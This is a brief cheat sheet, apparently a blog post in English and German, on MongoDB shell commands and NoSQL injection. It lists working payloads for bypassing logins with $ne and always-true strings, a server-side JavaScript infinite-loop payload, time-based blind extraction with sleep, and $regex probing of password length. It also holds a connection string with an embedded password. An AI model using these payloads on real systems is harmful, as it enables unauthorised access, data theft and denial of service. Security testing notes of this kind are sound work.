Connect from the command line
mongo 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace'
Show databases
show dbs
Switch to database
use <db>
Show all collections (“tables”)
show collections
Show all entries from a collection
db.<collection>.find()
Add a document
db.products.insert( { item: "card", qty: 15 } )
Injections
Show all records of the current table, assuming there is a WHERE clause for one field.
' || 'a'=='a
Instead of an parameter
password=wrongpassword
use instead the negation
password[%24ne]=wrongpassword
Interesting case: Within a where statement (which should be avoided in MongoDB) we can execute JS code — on the server!)
'; while(1);var foo='bar
Tools
Links
https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
Wenn man keine Ausgabe hat, kann man Informationen auch durch die Zeit herausbringen:
?login=user&password=’; if (db.version() > “2”) { sleep(10000); exit; } var loginn =1; var b=‘2
Tricks
- Mit param[$ne] kann man auf Ungleichheit testen.
- Mit param[$regex] kann man eine Regexp einfügen. Z.B. Länge eines Passworts testen mit password[$regex]=^.…..$
Leave a Reply
You must be logged in to post a comment.